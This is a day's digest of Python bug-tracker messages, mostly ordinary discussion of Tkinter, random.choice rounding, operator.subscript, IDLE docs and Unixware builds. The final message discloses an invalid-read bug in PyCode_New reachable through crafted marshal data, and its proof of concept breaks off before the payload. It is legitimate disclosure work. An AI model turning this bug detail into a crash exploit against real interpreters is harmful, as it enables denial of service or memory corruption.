(Terry J. Reedy) Date: Sun, 12 Jul 2015 03:02:21 +0000 Subject: [issue24587] Tkinter stacking versus focus behavior on Windows In-Reply-To: <1436320780.82.0.239534130411.issue24587@psf.upfronthosting.co.za> Message-ID: <1436670141.48.0.550641322045.issue24587@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The issue is the interaction between stacking and focus. I am pretty sure that this is not a Python bug and that this issue should be closed. I suspect that the behavior is not even a tk bug, but simply how Windows' graphics system work. In any case, the attached file avoids the stacking issue by temporarily replacing a Button with an Entry in a grid. It works on Windows 2 and 3 (the upload file has 'tkinter' for 3.x) and should work anywhere. I leave it to you to add grid args to position and anchor the widgets better. Also, the Entry widgets need to be a bit taller to match the Buttons. ---------- title: Incorrect tkinter behavior of slave widgets of Button -> Tkinter stacking versus focus behavior on Windows Added file: http://bugs.python.org/file39901/tem.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 05:25:37 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 03:25:37 +0000 Subject: [issue24613] array.fromstring Use After Free In-Reply-To: <1436661170.45.0.692345093126.issue24613@psf.upfronthosting.co.za> Message-ID: <1436671537.94.0.762191742651.issue24613@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka components: +Extension Modules nosy: +serhiy.storchaka stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 05:41:40 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 12 Jul 2015 03:41:40 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436672500.9.0.665625982821.issue24567@psf.upfronthosting.co.za> Raymond Hettinger added the comment: See the attached timings. The performance hit isn't bad and the code's beauty isn't marred terribly. Yes, we'll fix it, but no I don't have to feel good about it ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 05:55:25 2015 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 12 Jul 2015 03:55:25 +0000 Subject: [issue23220] Documents input/output effects of how IDLE runs user code In-Reply-To: <1420937687.17.0.885670059147.issue23220@psf.upfronthosting.co.za> Message-ID: <1436673325.09.0.733273125283.issue23220@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I was thinking AttributeError, as mentioned in the previous sentence. But you are correct that ImportError is possible too. Maybe I should just give the code. try: import idlelib idlelib.run running_idle = True except (ImportError, AttributeError): running_idle = False tk does not 'handle' stdout. Idle does, by inserting strings into a tk text widget. tk does not care where inserted chars come from. tk \b behavior is OS dependent. tk may always ignore \r, but this is different from (at least some) consoles. Attempt 2, with and added paragraph. ... * Except for newline ('\n'), tk handling of ascii control chars may depend on the OS and may by different from text consoles. Both are true for backspace ('\b') and the latter for return ('\r'), which tk ignores. These differences noted above are not bugs. If an application is going to be run repeatedly after being developed with Idle, it should usually be run directly, without Idle. (An exception would be non-gui Windows apps that need tk's better unicode support.) That means testing at least once without Idle. --- Thanks for the comments. ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 06:04:31 2015 From: report at bugs.python.org (Joe Jevnik) Date: Sun, 12 Jul 2015 04:04:31 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436673871.59.0.096904635178.issue24379@psf.upfronthosting.co.za> Joe Jevnik added the comment: updating with the slots change This also adds a ton of test cases ---------- Added file: http://bugs.python.org/file39902/operator_subscript_pyonly.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 06:04:31 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 04:04:31 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436673871.53.0.425104187994.issue24567@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: For shuffle I would write "if j < i". I think 3.x should be fixed as well as 2.7. And I like Tim's suggestion about import-time patching. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 06:22:50 2015 From: report at bugs.python.org (Eugene K.) Date: Sun, 12 Jul 2015 04:22:50 +0000 Subject: [issue24587] Tkinter stacking versus focus behavior on Windows In-Reply-To: <1436320780.82.0.239534130411.issue24587@psf.upfronthosting.co.za> Message-ID: <1436674970.75.0.410331847308.issue24587@psf.upfronthosting.co.za> Eugene K. added the comment: It may not be a pure Python bug, but it's definitely at least a tk bug (which makes it a Python bug as long as tk is the canonical UI package in Python.) Workarounds are nice, but a workaround fixes my specific problem here and now, while leaving unknown numbers of Python UI developers scratching their heads at the unexpected behavior of their code. I don't object to closing this bug as long as it's forwarded to tk/tkinter developers first. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 06:59:42 2015 From: report at bugs.python.org (Martin Panter) Date: Sun, 12 Jul 2015 04:59:42 +0000 Subject: [issue23220] Documents input/output effects of how IDLE runs user code In-Reply-To: <1420937687.17.0.885670059147.issue23220@psf.upfronthosting.co.za> Message-ID: <1436677182.46.0.629450625523.issue23220@psf.upfronthosting.co.za> Martin Panter added the comment: I wouldn?t say TK ignores carriage returns, though I agree it would be better if Idle stripped them out. Currently I get a glyph displayed for them, similarly to \b. They wouldn?t copy to my clipboard, so I fudged them after pasting here: >>> _ = stdout.write("CRLF\r\n") # Linux: box-drawing corner piece CRLF? >>> _ = stdout.write("CRLF\r\n") # Wine: euro sign CRLF? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 07:30:43 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 05:30:43 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436679043.37.0.641006837798.issue24379@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The implementation itself LGTM (nice use of decorator). New feature should be documented. Needed changes in Doc/library/operator.rst and Doc/whatsnew/3.6.rst and the docstring for the subscript class. 'subscript' should be added to __all__. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 08:10:11 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 12 Jul 2015 06:10:11 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436681411.8.0.552588067742.issue24567@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- keywords: +patch Added file: http://bugs.python.org/file39903/handle_double_rounding.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 08:24:15 2015 From: report at bugs.python.org (Joe Jevnik) Date: Sun, 12 Jul 2015 06:24:15 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436682255.35.0.800081594863.issue24379@psf.upfronthosting.co.za> Joe Jevnik added the comment: updating to address the docs and order of assertions ---------- Added file: http://bugs.python.org/file39904/operator_subscript_pyonly.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 08:26:59 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 12 Jul 2015 06:26:59 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436682419.54.0.0919605600178.issue24567@psf.upfronthosting.co.za> Changes by Raymond Hettinger : Added file: http://bugs.python.org/file39905/handle_double_rounding2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 08:27:07 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 12 Jul 2015 06:27:07 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436682427.46.0.245077431203.issue24567@psf.upfronthosting.co.za> Changes by Raymond Hettinger : Removed file: http://bugs.python.org/file39903/handle_double_rounding.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 08:57:23 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 06:57:23 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436684243.15.0.515213914967.issue24567@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Unfortunately a link to Rietveld is not available for review and inlined comments. In sample() the selected set can be initialized to {n} to avoid additional checks in the loop for large population. In the branch for small population, non-empty pool can be extended ("pool.append(pool[-1])") to avoid additional check in the loop. In choice() I would write the condition as "i == n > 0" to avoid indexing with negative index. Custom collection can has non-standard behavior with negative indices. This doesn't add additional cost in normal case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 09:09:24 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 07:09:24 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436684964.48.0.389313210035.issue24379@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I'm with Martin about tests. Only one assertion per special case is needed, no need to write exponential number of combinations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 09:12:04 2015 From: report at bugs.python.org (Joe Jevnik) Date: Sun, 12 Jul 2015 07:12:04 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436685124.94.0.552345507711.issue24379@psf.upfronthosting.co.za> Joe Jevnik added the comment: is it normal to get a lot of 500s when using the review system? ---------- Added file: http://bugs.python.org/file39906/operator_subscript_pyonly.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 09:17:13 2015 From: report at bugs.python.org (Joe Jevnik) Date: Sun, 12 Jul 2015 07:17:13 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436685433.2.0.952983863366.issue24379@psf.upfronthosting.co.za> Changes by Joe Jevnik : Added file: http://bugs.python.org/file39907/operator_subscript_pyonly.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 09:50:37 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 12 Jul 2015 07:50:37 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436687437.45.0.914800994943.issue24567@psf.upfronthosting.co.za> Raymond Hettinger added the comment: > In sample() the selected set can be initialized to {n} I originally used the {n} approach but it was less clear and it lead to a re-selection rather than undoing the rounding. That would change the output. > I like Tim's suggestion about import-time patching. Sorry, but there's a limit to how much I'm willing to garbage-up the code over this issue. > In choice() I would write the condition as "i == n > 0" to > avoid indexing with negative index I'll write that as "'i == n and n > 0" which reads better and runs faster in the common case (look at the disassembly of each). Attaching a revised patch. > here's another timing variation: > > i = int(random() * n) > return seq[i - (i == n)] This ran a little slower than the conditional approach. ---------- Added file: http://bugs.python.org/file39908/handle_double_rounding3.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 10:17:10 2015 From: report at bugs.python.org (Julien Maisonneuve) Date: Sun, 12 Jul 2015 08:17:10 +0000 Subject: [issue24614] 404 link in Documenting Python, Style Guide Message-ID: <1436689030.66.0.0896590076737.issue24614@psf.upfronthosting.co.za> New submission from Julien Maisonneuve: The link to the Apple Publications Style Guide on this page https://docs.python.org/3.0/documenting/style.html lniks to a 404 page on https://developer.apple.com/ (https://developer.apple.com/library/mac/documentation/UserExperience/Conceptual/APStyleGuide/APSG_2008.pdf) ---------- assignee: docs at python components: Documentation messages: 246640 nosy: Julien Maisonneuve, docs at python priority: normal severity: normal status: open title: 404 link in Documenting Python, Style Guide versions: Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 10:30:27 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 08:30:27 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436689827.61.0.794783046546.issue24567@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: > I originally used the {n} approach but it was less clear and it lead to a re-selection rather than undoing the rounding. That would change the output. In normal case j is never equal to n. In very rare cases on platforms with double rounding the unpatched code generates an IndexError, and changing this is the purpose of the patch. Re-selection is so good as undoing the rounding. Please also note that double rounding causes an error not only when int(random() * n) == n. If random() returns 0.5 - 2**-54 and n = 2029*2, the result is different with double rounding and without it. This causes small bias even if IndexError is not raised. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 11:05:49 2015 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 12 Jul 2015 09:05:49 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436691949.22.0.168511901917.issue24567@psf.upfronthosting.co.za> Mark Dickinson added the comment: Serhiy: there's already a small bias inherent in using `int(random() * n)`, regardless of double rounding, since in general `random()` gives 2**53 equally likely (modulo deficiencies in the source generator) outcomes and `n` need not be a divisor of `2**53`. I don't think the double rounding is going to make that bias noticeably worse. See issue 23974, which was resolved as "wont fix". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 11:45:58 2015 From: report at bugs.python.org (Berker Peksag) Date: Sun, 12 Jul 2015 09:45:58 +0000 Subject: [issue24614] 404 link in Documenting Python, Style Guide In-Reply-To: <1436689030.66.0.0896590076737.issue24614@psf.upfronthosting.co.za> Message-ID: <1436694358.83.0.160024870358.issue24614@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report, Julien. The up-to-date version of the document can be found at https://docs.python.org/devguide/documenting.html Also, Python 3.0.1 documentation is really old and I think the "The Python documentation should follow the Apple Publications Style Guide wherever possible." part is no longer true. ---------- nosy: +berker.peksag resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 13:00:05 2015 From: report at bugs.python.org (Ron Barak) Date: Sun, 12 Jul 2015 11:00:05 +0000 Subject: [issue24611] Compiling Python 2.7.10 Error on Unixware 7.1.4 In-Reply-To: <1436621587.24.0.649871663437.issue24611@psf.upfronthosting.co.za> Message-ID: <1436698805.57.0.820626666837.issue24611@psf.upfronthosting.co.za> Ron Barak added the comment: I tried to apply the patch. Alas, I get an "Hmm... I can't seem to find a patch in there anywhere." error. See attached screenshot. Did I apply the patch incorrectly? ---------- Added file: http://bugs.python.org/file39909/issue24611.PNG _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 13:20:54 2015 From: report at bugs.python.org (Ron Barak) Date: Sun, 12 Jul 2015 11:20:54 +0000 Subject: [issue24611] Compiling Python 2.7.10 Error on Unixware 7.1.4 In-Reply-To: <1436621587.24.0.649871663437.issue24611@psf.upfronthosting.co.za> Message-ID: <1436700054.27.0.509006763469.issue24611@psf.upfronthosting.co.za> Ron Barak added the comment: When I try to apply the patch manually, namely - editing Modules/posixmodule.c, and moving the #endif a few lines up, the make finishes correctly. So, the patch does work: I'm probably not applying it correctly. Could you point to my error in applying the patch? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 13:36:55 2015 From: report at bugs.python.org (Ron Barak) Date: Sun, 12 Jul 2015 11:36:55 +0000 Subject: [issue24615] 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4 Message-ID: <1436701015.17.0.432641223785.issue24615@psf.upfronthosting.co.za> New submission from Ron Barak: I wanted to add Python 2.7 to Unix. I downloaded the sources to the VirtualBox on which the Unix is installed. ./configure is successful. make is successful after I manually applied the changes in http://bugs.python.org/issue24611 However, 'make install' fails the installation of man pages (see attached). (Note that Python 2.7.10 is installed and is accessible as /usr/local/bin/python2.7) ./configure --prefix=/usr \ --enable-shared \ --with-system-expat \ without problems. However, when I try to run make, it fails on: cc ?Kpthread ?Wl,-Bexport ?o python Modules/python.o libpython2.7.a -lsocket ?lnsl ?lpthread ?ldl ?lm Undefined first referenced symbol in file _PyInt_FromDev libpython2.7.a(posixmodule.o) UX:ld: ERROR: Symbol referencing errors. No output written to python *** Error code 1 (bu21) UX:make: ERROR: fatal error. Environment: OS Unixware 7.1.4 Python 2.7.10 CC Optimizing C Compilation System (CCS) 4.2 05/11/04 (ux714.bl3af) ---------- components: Build files: make_install_fail.PNG messages: 246646 nosy: ronbarak priority: normal severity: normal status: open title: 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4 versions: Python 2.7 Added file: http://bugs.python.org/file39910/make_install_fail.PNG _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 13:37:31 2015 From: report at bugs.python.org (Ron Barak) Date: Sun, 12 Jul 2015 11:37:31 +0000 Subject: [issue24615] 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4 In-Reply-To: <1436701015.17.0.432641223785.issue24615@psf.upfronthosting.co.za> Message-ID: <1436701051.07.0.477456411117.issue24615@psf.upfronthosting.co.za> Changes by Ron Barak : ---------- components: +Installation -Build _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 13:40:42 2015 From: report at bugs.python.org (Ron Barak) Date: Sun, 12 Jul 2015 11:40:42 +0000 Subject: [issue24615] 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4 In-Reply-To: <1436701015.17.0.432641223785.issue24615@psf.upfronthosting.co.za> Message-ID: <1436701242.5.0.595840848523.issue24615@psf.upfronthosting.co.za> Ron Barak added the comment: EDIT 1 (cut and paste had some extraneous data): I wanted to add Python 2.7 to Unix. I downloaded the sources to the VirtualBox on which the Unix is installed. ./configure is successful. make is successful after I manually applied the changes in http://bugs.python.org/issue24611 However, 'make install' fails the installation of man pages (see attached). (Note that Python 2.7.10 is installed and is accessible as /usr/local/bin/python2.7) Environment: OS Unixware 7.1.4 Python 2.7.10 CC Optimizing C Compilation System (CCS) 4.2 05/11/04 (ux714.bl3af) ---------- Added file: http://bugs.python.org/file39911/make_install_fail.PNG _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 13:45:15 2015 From: report at bugs.python.org (Ron Barak) Date: Sun, 12 Jul 2015 11:45:15 +0000 Subject: [issue24616] 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4 Message-ID: <1436701515.32.0.902872028806.issue24616@psf.upfronthosting.co.za> New submission from Ron Barak: I wanted to add Python 2.7 to Unix. I downloaded the sources to the VirtualBox on which the Unix is installed. ./configure is successful. make is successful after I manually applied the changes in http://bugs.python.org/issue24611 However, 'make install' fails the installation of man pages (see attached). (Note that Python 2.7.10 is installed and is accessible as /usr/local/bin/python2.7) Environment: OS Unixware 7.1.4 Python 2.7.10 CC Optimizing C Compilation System (CCS) 4.2 05/11/04 (ux714.bl3af) ---------- components: Installation files: make_install_fail.PNG messages: 246648 nosy: ronbarak priority: normal severity: normal status: open title: 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4 versions: Python 2.7 Added file: http://bugs.python.org/file39912/make_install_fail.PNG _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 13:45:40 2015 From: report at bugs.python.org (Ron Barak) Date: Sun, 12 Jul 2015 11:45:40 +0000 Subject: [issue24615] 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4 In-Reply-To: <1436701015.17.0.432641223785.issue24615@psf.upfronthosting.co.za> Message-ID: <1436701540.15.0.641058635501.issue24615@psf.upfronthosting.co.za> Changes by Ron Barak : ---------- resolution: -> duplicate status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 15:22:10 2015 From: report at bugs.python.org (Julian Sivertsen) Date: Sun, 12 Jul 2015 13:22:10 +0000 Subject: [issue4963] mimetypes.guess_extension result changes after mimetypes.init() In-Reply-To: <1232107494.83.0.0570958889295.issue4963@psf.upfronthosting.co.za> Message-ID: <1436707330.62.0.826335001764.issue4963@psf.upfronthosting.co.za> Julian Sivertsen added the comment: I bumped into a similar issue with mimetypes.guess_extension on Arch Linux 64-bit in February. The behavior is still present in python 3.4.3. $ python test.py .htm $ python test.py .html $ cat test.py from mimetypes import guess_extension print(guess_extension('text/html')) $ python Python 3.4.3 (default, Mar 25 2015, 17:13:50) [GCC 4.9.2 20150304 (prerelease)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> ---------- nosy: +sivert _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 15:31:39 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 13:31:39 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436707899.03.0.0493282186528.issue24567@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I'm aware of issue 23974. But I want to say that double rounding causes not only bias from ideal distribution, but a difference between platforms. The result of sample() (with the same seed) can vary between platforms. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 15:41:54 2015 From: report at bugs.python.org (Roundup Robot) Date: Sun, 12 Jul 2015 13:41:54 +0000 Subject: [issue24611] Compiling Python 2.7.10 Error on Unixware 7.1.4 In-Reply-To: <1436621587.24.0.649871663437.issue24611@psf.upfronthosting.co.za> Message-ID: <20150712134152.2399.18671@psf.io> Roundup Robot added the comment: New changeset d2b8354e87f5 by Serhiy Storchaka in branch '2.7': Issue #24611: Fixed compiling the posix module on non-Windows platforms https://hg.python.org/cpython/rev/d2b8354e87f5 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 15:42:25 2015 From: report at bugs.python.org (Joe Jevnik) Date: Sun, 12 Jul 2015 13:42:25 +0000 Subject: [issue24379] operator.subscript In-Reply-To: <1433398024.28.0.0919512106527.issue24379@psf.upfronthosting.co.za> Message-ID: <1436708545.0.0.35972358994.issue24379@psf.upfronthosting.co.za> Changes by Joe Jevnik : Added file: http://bugs.python.org/file39913/operator_subscript_pyonly.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 15:45:01 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 13:45:01 +0000 Subject: [issue24611] Compiling Python 2.7.10 Error on Unixware 7.1.4 In-Reply-To: <1436621587.24.0.649871663437.issue24611@psf.upfronthosting.co.za> Message-ID: <1436708701.93.0.43390167539.issue24611@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I'm not experienced with Unixware's version of the patch (perhaps it differs from Linux version), but try to use the -p1 option. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 15:45:15 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 13:45:15 +0000 Subject: [issue24611] Compiling Python 2.7.10 Error on Unixware 7.1.4 In-Reply-To: <1436621587.24.0.649871663437.issue24611@psf.upfronthosting.co.za> Message-ID: <1436708715.5.0.249076612459.issue24611@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 15:50:04 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 12 Jul 2015 13:50:04 +0000 Subject: [issue24616] 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4 In-Reply-To: <1436701515.32.0.902872028806.issue24616@psf.upfronthosting.co.za> Message-ID: <1436709004.58.0.0204348567967.issue24616@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: It would be more helpful if you sent text output instead of graphical screenshot. Just redirect stdout and stderr of the command to the file. make install >make_install_fail.txt 2>&1 ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 18:16:05 2015 From: report at bugs.python.org (Ron Barak) Date: Sun, 12 Jul 2015 16:16:05 +0000 Subject: [issue24616] 'make install' fails installation of man pages for Python 2.7.10 on Unixware 7.1.4 In-Reply-To: <1436701515.32.0.902872028806.issue24616@psf.upfronthosting.co.za> Message-ID: <1436717765.56.0.287655075919.issue24616@psf.upfronthosting.co.za> Ron Barak added the comment: @Serhiy, Not only would posting text be clearer, but much easier. Alas, the Unixware I use is on a VirtualBox, and VitualBox does not support Guest Extension on Unixware - which means that neither cut-and-paste nor sharing host filesystem are possible. So, unless I get any ideas of how to get text off my Unixware on VirtualBox, screenshots are all I have. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 19:13:43 2015 From: report at bugs.python.org (John Jones) Date: Sun, 12 Jul 2015 17:13:43 +0000 Subject: [issue24617] os.makedirs()'s [mode] not correct Message-ID: <1436721223.66.0.229120395272.issue24617@psf.upfronthosting.co.za> New submission from John Jones: os.makedirs() gives the optional variable mode to set the permissions on the directories it creates. While it seems to work for all triplet octal values (777,755,etc) it doesn't seem to work on values with the sticky bit (1777,1755,etc) I know that to set the value as octal, you need, for some reason, to prepend a '0' to the number, such that the final value is '01755' - but even if you do int('1755',8) the error is there. Below I make a directory and then chmod it to the right value: os.makedirs('/Users/Carolin/Desktop/demo',01703) drwx-----x 2 Carolin staff 68 12 Jul 18:53 demo os.chmod('/Users/Carolin/Desktop/demo',01703) drwx----wt 2 Carolin staff 68 12 Jul 18:53 demo ---------- messages: 246655 nosy: John Jones priority: normal severity: normal status: open title: os.makedirs()'s [mode] not correct type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 19:40:47 2015 From: report at bugs.python.org (Stefan Krah) Date: Sun, 12 Jul 2015 17:40:47 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436722847.88.0.542820366685.issue24567@psf.upfronthosting.co.za> Stefan Krah added the comment: The double rounding problem even occurs between different versions of gcc. I think ultimately we should put our foot down and ship with sse2 enabled (not possible for 2.7 though, unless an LTS-PEP emerges). If distributions want to break that, it's their business. :) The gcc manual is quite upfront about the issue and really recommends sse2 for reproducible results. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 19:42:45 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Sun, 12 Jul 2015 17:42:45 +0000 Subject: [issue24567] random.choice IndexError due to double-rounding In-Reply-To: <1436065440.76.0.743831142504.issue24567@psf.upfronthosting.co.za> Message-ID: <1436722965.81.0.348674460798.issue24567@psf.upfronthosting.co.za> Antoine Pitrou added the comment: > I think ultimately we should put our foot down and ship with > sse2 enabled That's good for x86 but that wouldn't solve the issue if it exists on other archs. I trust Raymond to come up with an acceptable solution; though I think it would be good to add a comment linking to this issue, in any case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jul 12 19:46:46 2015 From: report at bugs.python.org (Brad Larsen) Date: Sun, 12 Jul 2015 17:46:46 +0000 Subject: [issue24618] Invalid read in PyCode_New Message-ID: <1436723206.75.0.0338800196723.issue24618@psf.upfronthosting.co.za> New submission from Brad Larsen: `PyCode_New` can read invalid heap memory. File Objects/codeobject.c: PyCodeObject * PyCode_New(int argcount, int kwonlyargcount, int nlocals, int stacksize, int flags, PyObject *code, PyObject *consts, PyObject *names, PyObject *varnames, PyObject *freevars, PyObject *cellvars, PyObject *filename, PyObject *name, int firstlineno, PyObject *lnotab) { PyCodeObject *co; unsigned char *cell2arg = NULL; Py_ssize_t i, n_cellvars; // ... n_cellvars = PyTuple_GET_SIZE(cellvars); // ... /* Create mapping between cells and arguments if needed. */ if (n_cellvars) { Py_ssize_t total_args = argcount + kwonlyargcount + ((flags & CO_VARARGS) != 0) + ((flags & CO_VARKEYWORDS) != 0); // *** 1 *** // ... /* Find cells which are also arguments. */ for (i = 0; i < n_cellvars; i++) { Py_ssize_t j; PyObject *cell = PyTuple_GET_ITEM(cellvars, i); for (j = 0; j < total_args; j++) { PyObject *arg = PyTuple_GET_ITEM(varnames, j); // *** 2 *** if (!PyUnicode_Compare(cell, arg)) { // *** 3 *** cell2arg[i] = j; used_cell2arg = 1; break; } } } // ... } // ... } 1. `total_args` is determined from parameters that are user-controlled (see `r_object` in `Python/marshal.c`, in the `TYPE_CODE` case, lines 1265--1277). 2. the `varnames` tuple is indexed with a value in the range [0, total_args), which could be larger than the range of valid indexes for `varnames`. 3. `arg` is now a bogus PyObject value, and causes a segfault in `PyUnicode_Compare`. Environment: $ python3.4 --version Python 3.4.2 $ uname -a Linux debian-8-amd64 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux POC: from marshal import load from io import BytesIO payload = 